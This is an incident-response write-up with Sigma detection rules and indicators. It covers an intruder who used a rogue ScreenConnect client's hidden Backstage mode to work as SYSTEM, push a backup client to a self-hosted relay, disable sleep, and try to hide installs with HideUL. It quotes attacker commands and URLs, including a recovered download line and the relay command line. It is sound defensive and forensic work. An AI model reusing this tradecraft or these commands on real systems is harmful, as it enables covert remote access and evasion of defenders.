incident-response · forensics · remote-access-tool

Twelve Minutes in ScreenConnect's Backstage

Attackers planting their own ScreenConnect client isn't new. We've written about one attempt already in A Loader With No Command Line, and that one never got past extracting the files.

This one got further. A user clicked a fake PDF link one evening and installed a ScreenConnect client that connected to a ScreenConnect instance the attacker controlled. Then they shut the laptop and went to bed. Twelve hours later an operator connected in ScreenConnect's hidden Backstage mode and spent twelve minutes on the machine as SYSTEM while the user kept working, completely unaware.

Once the laptop was isolated, the customer asked the question everybody asks: what did they take? That was harder to answer than it should have been. PowerShell script block logging wasn't turned on, and the operator did their work by typing into interactive consoles, so almost nothing they typed was recorded. This post covers what they did and how we pieced together what they didn't do.

The lure

The user opened an email in a personal webmail account on their work laptop. The link went to hxxps://151uneven[.]northbox[.]us/622liberalism/, a page titled "PDF Viewer," which bounced them to hxxps://sipberco[.]es/Installer/Adobe.html. That page said they needed to update Adobe to see the document and handed them this:

hxxps://<redacted>[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest&c=Acrobat

That's a ScreenConnect cloud instance, and the query string is ScreenConnect's own installer builder. e=Access makes it an unattended access client, y=Guest is the guest role, and c=Acrobat fills a custom property, so "Acrobat" shows up in the operator's session list. There's nothing malicious about that link as far as ScreenConnect is concerned. A real help desk sends the same kind of link every day.

The user ran it and clicked Yes on the admin prompt. When no PDF showed up, they ran it three more times over the next fourteen minutes, then installed the real Adobe Reader trying to get the document open. The first run did the install:

chrome.exe
  └─ ScreenConnect.ClientSetup.exe              (Downloads, elevated via Appinfo)
       └─ msiexec /i ...\ScreenConnect\26.6.6.9747\<instance-id>\ScreenConnect.ClientSetup.msi

Since it was elevated, the client installed like any other program, under C:\Program Files (x86)\ScreenConnect Client (<instance-id>)\, as an auto-start service running as SYSTEM. It also added its DLL to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages, which every ScreenConnect install does. Two seconds after the service started, it was talking to the instance relay at instance-yq5koz-relay[.]screenconnect[.]com.

Then the laptop slept for most of the night. The client kept its connection and sat there.

Session timeline

The next morning, just before 13:00 UTC, the operator came back. This is what the laptop saw:

Time (UTC) What happened
12:58:34 A 745-character command runs through ScreenConnect's command feature as SYSTEM. It adds a Microsoft Defender exclusion for C:\Users and uses powercfg to turn off sleep, hibernation and the lid-close action
12:59:00 The operator connects in Backstage mode
12:59:06 The operator pushes a second ScreenConnect installer over the session and runs it
13:00:01 A second ScreenConnect client installs, pointed at a different relay on the attacker's own infrastructure. The EDR kills it four seconds later
13:00:39 First SYSTEM PowerShell console, opened from Backstage
13:01:05 C:\Users\Backup.zip (1.1 MB) is downloaded from a freeware site and unzipped
13:03:27 to 13:04:04 The operator drops off and reconnects
13:04:20 Second try at installing the second client. Same result
13:05:25 Second PowerShell console. Backup.zip is downloaded again over the first copy at 13:05:48
13:06:34 Backup.zip and the unzipped folder go to the Recycle Bin
13:06:59 Third PowerShell console. Backup.zip is downloaded a third time and unzipped again
13:11:00 The operator disconnects

The user was back in a work app at 13:09, two minutes before the operator left. They had no idea anybody else was on their machine.

Backstage

Backstage gives the technician their own separate session on the machine, running as SYSTEM, that never shows up on the user's screen. No banner, no mouse moving by itself, no "someone is viewing your screen" popup. Legitimate techs use it so they can fix things without getting in the user's way. It works just as well for someone who doesn't want to be noticed.

On the endpoint, Backstage is its own process, ScreenConnect.WindowsBackstageShell.exe, started by the client service. Everything the operator opened lives under it:

ScreenConnect.ClientService.exe
  └─ ScreenConnect.WindowsBackstageShell.exe        12:59:01  SYSTEM
       ├─ PowerShell.exe                              13:00:39  (no arguments)
       ├─ ScreenConnect.WindowsFileManager.exe        13:01:14
       ├─ PowerShell.exe                              13:05:25  (no arguments)
       ├─ ScreenConnect.WindowsFileManager.exe        13:05:56
       ├─ PowerShell.exe                              13:06:59  (no arguments)
       └─ ScreenConnect.WindowsFileManager.exe        13:07:27

The command line for each of those PowerShell processes is just the path to PowerShell. The operator opened a window and started typing, and with script block logging off, all that's recorded is that a shell opened. Cmdlets typed into a console run inside that PowerShell process and don't start anything new, so there's no child process with a command line to capture either.

A backup way back in

The operator pushed the second installer over ScreenConnect's own file transfer, and ScreenConnect ran it from its temp folder:

ScreenConnect.WindowsClient.exe "RunFile" "C:\WINDOWS\SystemTemp\ScreenConnect\26.6.6.9747\Temp\ScreenConnect.ClientSetup.msi"
  └─ msiexec.exe /i "C:\WINDOWS\SystemTemp\ScreenConnect\26.6.6.9747\Temp\ScreenConnect.ClientSetup.msi"

The service it created had a different instance ID and a different relay:

"C:\Program Files (x86)\ScreenConnect Client (<second-instance-id>)\ScreenConnect.ClientService.exe"
  "?e=Access&y=Guest&h=relay[.]gronadfrostvault[.]site&p=8041&s=<session>&k=<key>"

The first client went through ScreenConnect's cloud. The second one used a relay the attacker runs themselves, on port 8041. So if the customer, or ConnectWise, shut down the cloud instance, the operator still had a door. Other operators have pulled a backup client like this down with curl, which leaves a download command and a URL behind to catch. Pushing it over the session's own file transfer leaves neither.

The EDR killed the second client four seconds after it started, and again when the operator retried at 13:04:20. The service and its own authentication package entry were still left behind on disk.

HideUL

The one command we did get back came from PSReadLine, not from any log. PSReadLine is the module that gives the PowerShell console its command history, and it saves every line you type to a ConsoleHost_history.txt file in the profile of whoever ran the console. These consoles ran as SYSTEM, so the file was under C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\. It had exactly one line in it:

Invoke-WebRequest -Uri "hxxps://www[.]sordum[.]org/files/downloads.php?hide-from-uninstall-list" -OutFile "C:\Users\Backup.zip"

The file was created at 13:01:04, one second before Backup.zip showed up, and never written to again. It was last read at 13:07:01, when the third console started and loaded its history, eight seconds before the zip was downloaded for the third time. The zip held HideUL.exe, Sordum's "Hide From Uninstall List." It does what the name says: it hides installed programs from Programs and Features.

We rebuilt what happened to it from the $MFT, the USN change journal and the Recycle Bin. The zip was created at 13:01:05 and unzipped to C:\Users\Backup\HideUL\ at 13:01:27. One second later, at 13:01:28, HideUL.exe was deleted. The second console downloaded the zip again at 13:05:48, writing over the first copy. At 13:06:34 the zip and the folder went to the Recycle Bin, and at 13:07:09 the zip was downloaded a third time. It was unzipped at 13:07:42, and HideUL.exe was moved out of the folder in that same second. There's no Prefetch entry, no Program Compatibility Assistant record and no process event for HideUL.exe. It never ran. The EDR pulled it the moment it hit the disk, both times it was unzipped.

That's why the operator kept going back for it: every time they unzipped it, the tool was gone a second later. Two ScreenConnect clients sitting in Programs and Features is the kind of thing a user or an admin might notice, and they wanted to make sure nobody did.

We've seen this exact binary before. Five months earlier, at a different customer, an operator ran the same playbook: Backstage, the ScreenConnect file manager, and a second client on a self-hosted relay on port 8041. They uploaded the same HideUL.exe, same SHA-256, along with its 64-bit build, HideUL_x64.exe. That host also had a value named HFULOption under the ScreenConnect uninstall keys, which appears to be HideUL's own marker.

Scoping the session without PowerShell logs

Containing the host and reimaging it was the easy part. The customer had three questions: were the passwords saved in the browser accessed, what sites did the laptop talk to, and was anything taken? When you don't have a record of what the operator typed, "we didn't see anything" doesn't answer those.

ScreenConnect's own event log. The client writes to the Windows Application log, and those events give you the outline of the session even when nothing else does. These are the event IDs we leaned on:

Event ID What it recorded
20 The client connected to its relay (logged as "Network connection to host created successfully")
100 / 101 The operator connected or disconnected, with their display name
200 A command ran through the command feature, with its length
201 Files were transferred, with the action (here, "Run")

That gave us the connect and disconnect times, the 745-character command and the pushed installer, sent twice. It also showed nothing being transferred the other way, from the laptop to the operator.

Event 200 only records the command's length, not its text. We know what that command did because the command feature runs it as a script, and the script started child processes (the PowerShell that added the Defender exclusion and each powercfg call) with full command lines our endpoint telemetry captured. Each powercfg call's parent was the script itself:

"cmd.exe" /c "C:\WINDOWS\SystemTemp\ScreenConnect\26.6.6.9747\J6l-TCP8E0CYrun.cmd"

The interactive consoles in Backstage never started anything like that, which is why the two look so different in the telemetry.

SRUM. The System Resource Usage Monitor database keeps network byte counts for each process in hourly buckets. Here's the hour that covers the session:

Process Sent Received
ScreenConnect client service (first client) 816,121 B 29,384,150 B
ScreenConnect file manager 11,480 B 13,660 B
SYSTEM PowerShell 20,067 B 3,497,092 B

PowerShell's received number is three copies of a 1.1 MB zip. The ScreenConnect sent number includes the session itself, the screen and keyboard traffic for twelve minutes. So the most the operator could have pulled off over that connection in that hour is about 800 KB, session traffic included. That rules out a bulk grab. It doesn't rule out a few small files, and we told the customer that.

The $MFT. No archives were created in user folders during the session, and nothing new showed up outside of the HideUL files. Two OneDrive folders in the user's profile looked bad at first: their last-access time was 13:05:47, right in the middle of the session.

OneDrive's own logs. The OneDrive sync client keeps diagnostic logs under %LOCALAPPDATA%\Microsoft\OneDrive\logs\. They're obfuscated, but you can decode them offline. The one covering the session wasn't in the triage collection, so we asked for it separately. It showed OneDrive refreshing its folder view at 13:05:47 because of a registry change, about a minute and a half after the second try at installing the second client. It also showed no downloads, uploads or file changes during the session. That folder access was OneDrive reacting to the installer, not the operator poking around.

The SYSTEM account's registry. Backstage runs as SYSTEM, and SYSTEM doesn't have an NTUSER.DAT like a normal user. Its per-user settings live in C:\Windows\System32\config\DEFAULT, and that's where the operator's Explorer and file dialog history ends up. It showed the Explorer zip extraction at 13:01, and one thing we hadn't seen anywhere else: at 13:10:55, five seconds before they disconnected, the operator opened a file picker in ScreenConnect's file manager. Windows only records the folder and file once someone actually picks one, and that list was empty. Add in no file transfers in ScreenConnect's own log and 11 KB sent by the file manager, and it looks like they opened the window and closed it without sending anything. If you're scoping a Backstage session, pull the DEFAULT hive along with the user's.

Credentials. Sysmon showed no ScreenConnect, PowerShell or cmd process opening a handle to LSASS, and Credential Guard was running. Every Credential Manager event during the session was in the user's own context. The user's sign-in and mailbox logs showed activity only from their home connection, their phone or Microsoft's own services. There was nothing during the twelve minutes, and no new inbox rules, forwarding or MFA changes.

What we couldn't answer. Whether the operator read the browser's saved passwords. A SYSTEM PowerShell console can read Chrome's Login Data file and decrypt it, and nothing on that laptop would have logged it. If an operator had SYSTEM on a machine and you can't rule out a read of the browser's password store, treat every password saved in that browser as exposed and rotate it.

Recommendations

If your organization uses ScreenConnect, or your vendors do:

  • Know which ScreenConnect instances belong in your environment, by relay host and instance ID, and alert on any client connecting somewhere else. Both show up on the client service's command line.
  • Watch for ScreenConnect.WindowsBackstageShell.exe starting a shell. How loud that alert should be depends on how much your own techs use Backstage.
  • Watch for a ScreenConnect session installing another remote access client, whether it was downloaded or pushed over the session.
  • Turn on PowerShell script block logging on workstations, not just servers. On this laptop, that was the difference between knowing what the operator typed and having to work around not knowing.
  • Collect the ScreenConnect client's Application log events. Connect and disconnect times, the operator's display name, command lengths and file transfers are all in there, and they stick around when the operator's own activity doesn't.
  • Pull C:\Windows\System32\config\DEFAULT when the operator worked as SYSTEM. Backstage activity lands there, not in the user's hive.
  • Check the SYSTEM profile's PSReadLine history. C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt is where a Backstage operator's typed PowerShell can end up, logging or not.
  • Alert on uninstall entries being hidden. A process other than an installer setting SystemComponent=1 under ...\CurrentVersion\Uninstall\ is worth a look, and a value named HFULOption there was seen with HideUL in an earlier case.
  • Reimage, don't uninstall. Both clients registered a service and an LSA authentication package, which LSASS loads at boot, and the second one also registered a credential provider (ScreenConnect.WindowsCredentialProvider.dll, under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers), which the logon screen loads. Those are separate footholds, and an uninstall that misses one leaves code running in a privileged process.

Sigma rules

Most of what the operator did left a trail you can alert on, even when the commands themselves weren't logged: a shell opened from Backstage, an installer pushed over the session, power settings changed from a ScreenConnect script, and HideUL landing on disk.

A shell opened in Backstage. This is the operator typing. It's quiet unless your own techs live in Backstage. In our environments that was about five a day, and almost all of it came from two MSPs.

title: ScreenConnect Backstage Session Launches a Command Shell
id: f4a65d96-ff4e-4bb6-b0e9-dbb4f5071364
status: experimental
description: |
    Detects cmd.exe, PowerShell or pwsh started by ScreenConnect's Backstage shell, a hidden SYSTEM
    session the user cannot see. Commands are typed into the console, so the command line is often empty.
references:
    - https://attack.mitre.org/techniques/T1219/002/
author: Scott Johnson (BHIS ActiveSOC)
date: 2026-10-14
tags:
    - attack.command-and-control
    - attack.t1219.002
    - attack.execution
    - attack.t1059.001
    - attack.t1059.003
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\ScreenConnect.WindowsBackstageShell.exe'
            - '\ConnectWiseControl.WindowsBackstageShell.exe'
    selection_shell_image:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\powershell_ise.exe'
            - '\pwsh.exe'
    selection_shell_pe:
        OriginalFileName:
            - 'Cmd.Exe'
            - 'PowerShell.EXE'
            - 'powershell_ise.EXE'
            - 'pwsh.dll'
    condition: selection_parent and 1 of selection_shell_*
falsepositives:
    - Technicians from your own MSP or IT team who work in Backstage.
level: medium

An MSI pushed over the session. This is how the second client got installed. In two weeks, ScreenConnect's RunFile launched 19 programs across our environments, and the only MSI run from its transfer folder was this attack's installer, pushed twice.

title: ScreenConnect Session Runs an MSI Pushed Over File Transfer
id: 655ad65c-99f8-4018-ab9d-4dce0b8c3642
status: experimental
description: |
    Detects msiexec installing a package pushed over a ScreenConnect session and run with RunFile, such as
    a second remote access client. The client's own first-time install does not match.
references:
    - https://attack.mitre.org/techniques/T1219/002/
author: Scott Johnson (BHIS ActiveSOC)
date: 2026-10-14
tags:
    - attack.command-and-control
    - attack.t1219.002
    - attack.t1105
    - attack.stealth
    - attack.t1218.007
logsource:
    category: process_creation
    product: windows
detection:
    selection_msiexec_image:
        Image|endswith: '\msiexec.exe'
    selection_msiexec_pe:
        OriginalFileName: 'msiexec.exe'
    selection_runfile_parent:
        ParentImage|endswith:
            - '\ScreenConnect.WindowsClient.exe'
            - '\ConnectWiseControl.WindowsClient.exe'
        ParentCommandLine|contains: '"RunFile"'
    selection_transfer_folder:
        CommandLine|re|i: '[/-](i|package)[\s:=]*["'']?[^"'']*[\\/](screenconnect|connectwisecontrol)[\\/][0-9]+(\.[0-9]+){1,3}[\\/]temp[\\/][^\\/"'']+\.msi'
    condition: 1 of selection_msiexec_* and (selection_runfile_parent or selection_transfer_folder)
falsepositives:
    - A technician deliberately pushing a legitimate MSI to a machine through ScreenConnect.
level: high

Keeping the machine awake. On its own, powercfg turning off sleep is everywhere. Without the ScreenConnect parent check, the same settings matched about 260 times a day for us. With it, the only matches in two weeks were the seven commands from this attack.

title: ScreenConnect Command Script Disables Sleep, Hibernate or Lid Action
id: 3e753c30-c669-44df-9b3a-674e9af90a02
status: experimental
description: |
    Detects powercfg turning off sleep, hibernation or the lid/power button action from a ScreenConnect
    command script, so the machine stays reachable when the user closes the lid.
references:
    - https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options
author: Scott Johnson (BHIS ActiveSOC)
date: 2026-10-14
tags:
    - attack.persistence
    - attack.t1653
    - attack.command-and-control
    - attack.t1219.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_powercfg_image:
        Image|endswith: '\powercfg.exe'
    selection_powercfg_pe:
        OriginalFileName: 'PowerCfg.exe'
    selection_parent_script:
        ParentCommandLine|re|i: '\\(windows\\(systemtemp|temp)|appdata\\local\\temp)\\(screenconnect|connectwisecontrol)\\[0-9]+(\.[0-9]+){1,3}\\[^\\"]+\.(cmd|bat|ps1)'
    selection_parent_client:
        ParentImage|endswith:
            - '\ScreenConnect.ClientService.exe'
            - '\ScreenConnect.WindowsClient.exe'
            - '\ScreenConnect.Client.exe'
            - '\ConnectWiseControl.ClientService.exe'
            - '\ConnectWiseControl.WindowsClient.exe'
            - '\ConnectWiseControl.Client.exe'
    selection_setting_timeout:
        CommandLine|re|i: '[/-](change|x)\s+[/-]?(standby|hibernate)-timeout-(ac|dc)\s+0(\s|$)'
    selection_setting_hibernate_off:
        CommandLine|re|i: '[/-](hibernate|h)\s+off(\s|$)'
    selection_setting_buttons:
        CommandLine|re|i: '[/-]set(ac|dc)valueindex\s+\S+\s+(sub_buttons|4f971e89-eebd-4455-a8de-9e59040e7347)\s+(lidaction|pbuttonaction|sbuttonaction|5ca83367-6e45-459f-a27b-476b1d01c936|7648efa3-dd9c-4e3e-b566-50f929386280|96996bc0-ad50-47ec-923b-6f41874dd9eb)\s+0(\s|$)'
    selection_setting_idle:
        CommandLine|re|i: '[/-]set(ac|dc)valueindex\s+\S+\s+(sub_sleep|238c9fa8-0aad-41ed-83f4-97be242c8f20)\s+(standbyidle|hibernateidle|29f6c1db-86da-48c5-9fdb-f2b67b1f44da|9d7815a6-7ee4-497e-8888-515a05f02364)\s+0(\s|$)'
    condition: 1 of selection_powercfg_* and 1 of selection_parent_* and 1 of selection_setting_*
falsepositives:
    - An MSP or IT team pushing a "never sleep" power plan through ScreenConnect's command feature.
level: medium

HideUL itself. We alert on it showing up at all. The file rule catches it on disk, before it runs. Across our environments, HideUL has only ever shown up in the two intrusions in this post.

title: Sordum Hide From Uninstall List Written to Disk
id: 37605b93-8024-4568-b10c-fa2351687f23
status: experimental
description: |
    Detects Sordum's "Hide From Uninstall List" (HideUL) landing on disk. The freeware hides installed
    programs from Programs and Features and has no business use on a managed machine.
references:
    - https://www.sordum.org/11081/hide-from-uninstall-list-v1-1/
author: Scott Johnson (BHIS ActiveSOC)
date: 2026-10-15
tags:
    - attack.stealth
    - attack.t1564
    - attack.command-and-control
    - attack.t1105
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith:
            - '\HideUL.exe'
            - '\HideUL_x64.exe'
    condition: selection
falsepositives:
    - An administrator deliberately using the tool.
level: high
title: Sordum Hide From Uninstall List Execution
id: 48804b91-f5ec-4edc-bbf1-1305f52c5614
status: experimental
description: |
    Detects Sordum's "Hide From Uninstall List" (HideUL) running, including renamed copies via the original
    file name. It hides programs such as a rogue remote access client from Programs and Features.
references:
    - https://www.sordum.org/11081/hide-from-uninstall-list-v1-1/
author: Scott Johnson (BHIS ActiveSOC)
date: 2026-10-15
tags:
    - attack.stealth
    - attack.t1564
logsource:
    category: process_creation
    product: windows
detection:
    selection_name:
        Image|endswith:
            - '\HideUL.exe'
            - '\HideUL_x64.exe'
    selection_pe:
        OriginalFileName: 'HideUL.exe'
    selection_hash:
        Hashes|contains:
            - 'SHA256=4967E47B19D372BB7337F0C4DCD586DA88DD01E8B64D63FF86E0F78BF4981C85'
            - 'SHA256=01A3089CC33ADCFA20B235D794B70176326CF60181C95554D952839532AFDCE2'
    condition: 1 of selection_*
falsepositives:
    - An administrator deliberately using the tool.
level: high

Hiding the install, whatever does it. The two rules above catch HideUL by name. This one catches what it does: setting SystemComponent=1 on an uninstall key, plus the HFULOption value we've seen HideUL leave behind. It needs registry-write logging on the Uninstall keys, and the SystemComponent half will need a baseline before you alert on it. Elastic has a similar rule if you run their stack.

title: Installed Program Hidden From Programs and Features
id: 12315d3a-7818-43ab-aa24-b1b974f7a691
status: experimental
description: |
    Detects an uninstall entry being hidden: SystemComponent set to 1 under an Uninstall key by something
    other than Windows Installer, or the HFULOption value seen with Sordum's HideUL when it hid a program.
references:
    - https://github.com/elastic/detection-rules/blob/09178f2f35a6b8371ea8ab70807128b87377e198/rules/windows/defense_evasion_hide_from_uninstall_list_concealment.toml
    - https://www.sordum.org/11081/hide-from-uninstall-list-v1-1/
author: Scott Johnson (BHIS ActiveSOC)
date: 2026-10-15
tags:
    - attack.stealth
    - attack.t1564
logsource:
    category: registry_set
    product: windows
detection:
    selection_hideul_marker:
        TargetObject|contains: '\CurrentVersion\Uninstall\'
        TargetObject|endswith: '\HFULOption'
    selection_hidden:
        TargetObject|contains: '\CurrentVersion\Uninstall\'
        TargetObject|endswith: '\SystemComponent'
        Details: 'DWORD (0x00000001)'
    filter_windows_installer:
        Image|endswith: '\msiexec.exe'
    condition: selection_hideul_marker or (selection_hidden and not filter_windows_installer)
falsepositives:
    - Installers other than msiexec that hide their own helper components.
level: medium

Indicators

Type Indicator Value
Domain Lure page ("PDF Viewer") 151uneven[.]northbox[.]us
URL Fake Adobe download page hxxps://sipberco[.]es/Installer/Adobe.html
Domain Relay for the ScreenConnect cloud instance the lure used instance-yq5koz-relay[.]screenconnect[.]com
Domain Self-hosted relay for the second client (TCP 8041) relay[.]gronadfrostvault[.]site
Domain Parent domain of the self-hosted relay gronadfrostvault[.]site
IPv4 Self-hosted relay address 178[.]173[.]246[.]29
SHA-256 ScreenConnect.ClientSetup.exe served by the lure 2d6b11ebe1f6b642983162a660dae5c2f06356ad68c645f9a5b3d724fc96ef1c
SHA-256 HideUL.exe, Sordum freeware, seen in both cases (alert rather than block) 4967e47b19d372bb7337f0c4dcd586da88dd01e8b64d63ff86e0f78bf4981c85
SHA-256 HideUL_x64.exe from the earlier case, Sordum freeware (alert rather than block) 01a3089cc33adcfa20b235d794b70176326cf60181c95554d952839532afdce2
Registry value Seen with HideUL in the earlier case HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\<program>\HFULOption